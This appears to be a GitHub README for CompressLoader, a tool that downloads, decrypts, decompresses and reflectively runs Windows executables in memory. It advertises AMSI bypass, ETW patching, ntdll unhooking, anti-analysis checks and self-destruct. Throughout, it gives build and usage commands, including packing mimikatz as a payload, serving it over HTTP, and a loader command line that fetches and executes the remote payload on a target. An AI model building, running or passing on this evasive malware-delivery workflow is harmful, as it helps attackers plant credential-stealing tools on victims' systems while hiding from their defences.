CompressLoader

August 3, 2026 · View on GitHub

Download, decrypt, decompress, and reflectively load Windows PE payloads entirely in memory.

C Windows Python Shell Script Makefile License: AGPL v3

ko-fi

Architecture

      +----------+     +----------+     +----------+
      |  PE .exe | --> |   pack   | --> |  .lzss   |
      +----------+     +----------+     +----------+
                                            |
                                    +---------------+
                                    |  crypter.py   |
                                    | AES-256-CBC   |
                                    +---------------+
                                            |
                                     +--------------+
                                     | payload.bin  |
                                     +--------------+
                                            |
                                       [ HTTP(S) ]
                                            |
                              +-------------------------+
                              |    loader.exe (Win)     |
                              |  1. Download payload    |
                              |  2. AES-256 decrypt     |
                              |  3. LZSS decompress     |
                              |  4. Reflective PE load  |
                              |  5. Execute in memory   |
                              +-------------------------+

Features

  • LZSS Compression — Okumura algorithm (pack.c / unpack.c / lzss.c)
  • AES-256-CBC Encryption — Payload encryption via Windows CryptoAPI
  • Reflective PE Loader — IAT repair, base relocation, ntdll unhooking
  • Memory-only execution — No file touches disk after download
  • Command-line masquerading — Hooks GetCommandLine, __p___argv, etc.
  • Anti-analysis — VM detection, debugger checks, minimum uptime/ram gates
  • Self-destruct — Removes persistence artifacts and deletes the loader

Loader variants

FileKey differences
loader.cCore loader: download + decrypt + LZSS + PE load
loader2.cAdds Sleep hook + memory fluctuation (RW encryption of .text)
loader3.cAdds ntdll unhooking + backward-compatible args (3 or 4)
loader4.cAdds ETW patching, AMSI bypass (HW breakpoints), string obfuscation

Fluctuation modes (loader2/3/4)

ModeDescription
0No fluctuation (default)
1RW fluctuation — encrypt .text while Sleep() is active
2NOACCESS fluctuation + VEH — set .text to PAGE_NOACCESS, restore on access violation

Build

Quick start (all targets)

make config    # verify dependencies
make all       # build LZSS tools + cross-compile loaders
make test      # LZSS roundtrip test
make payload PE_FILE=mimikatz.exe   # generate encrypted payload
make run       # serve payloads over HTTP
make install   # build + install loaders

Available targets

TargetDescription
allBuild everything (pack-tools + loaders)
pack-toolsBuild pack, unpack, lzss-test (Linux native)
loadersCross-compile loader*.exe (Windows, via mingw-w64)
configCheck build dependencies
testFull LZSS roundtrip (generate -> pack -> unpack -> verify)
payloadBuild encrypted payload via crypter.py (PE_FILE=... required)
installBuild + copy loaders to INSTALL_DIR (default: ~/LazyOwn/sessions)
uninstallRemove installed loaders
run / serveServe payloads/ over HTTP on port 8080
cleanRemove build artifacts
distcleanClean everything including payloads
info / helpShow config and targets

Variables: INSTALL_DIR, PE_FILE, SERVER_PORT, TEST_SIZE

Loaders (Windows PE) — manual

# Requires mingw-w64
sudo apt install mingw-w64

x86_64-w64-mingw32-gcc loader.c  -o loader.exe  -lwinhttp -lcrypt32 -lpsapi -static -s -O2
x86_64-w64-mingw32-gcc loader2.c -o loader2.exe -lwinhttp -lcrypt32 -lpsapi -static -s -O2
x86_64-w64-mingw32-gcc loader3.c -o loader3.exe -lwinhttp -lcrypt32 -lpsapi -static -s -O2
x86_64-w64-mingw32-gcc loader4.c -o loader4.exe -lwinhttp -lcrypt32 -lpsapi -static -s -O2

Or use the provided script:

bash install.sh

LZSS tools (Linux host) — manual

gcc lzss.c pack.c   -o pack   -O2
gcc lzss.c unpack.c -o unpack -O2
gcc lzss.c test.c   -o lzss-test -O2

Usage

1. Create payload

# Compress + encrypt a PE file
python3 crypter.py mimikatz.exe

# Or use an already-compressed LZSS file
python3 crypter.py mimikatz.exe custom.lzss

Generates payload.bin containing: [keyLen][key][peOrigSize][cipherLen][ciphertext]

2. Host payload

Serve payload.bin on any HTTP server reachable from the target.

3. Execute loader

# Basic
loader.exe <host> <port> <resource>

# Fluctuation mode
loader2.exe <host> <port> <resource> <mode>
loader3.exe <host> <port> <resource> [mode]
loader4.exe <host> <port> <resource> [mode]

Example:

loader3.exe 192.168.1.100 8080 /payload.bin 2

Files

FilePurpose
loader.cCore PE loader (WinHTTP download + AES decrypt + LZSS decompress + reflective load)
loader2.cLoader + Sleep hook + memory fluctuation
loader3.cLoader + fluctuation + ntdll unhooking
loader4.cLoader + fluctuation + unhooking + ETW patch + AMSI bypass + string obfuscation
lzss.cLZSS compress/decompress implementation (Okumura)
pack.cCLI wrapper for LZSS compression
unpack.cCLI wrapper for LZSS decompression
test.cLZSS decompression test
aes.c / aes.hTiny AES-C implementation (standalone)
crypter.pyPayload builder: compress + AES encrypt + package
MakefileFull lifecycle: build, test, payload, install, serve
install.shCross-compile all loaders with mingw-w64
requirements.txtPython dependencies

License

AGPL v3 — see LICENSE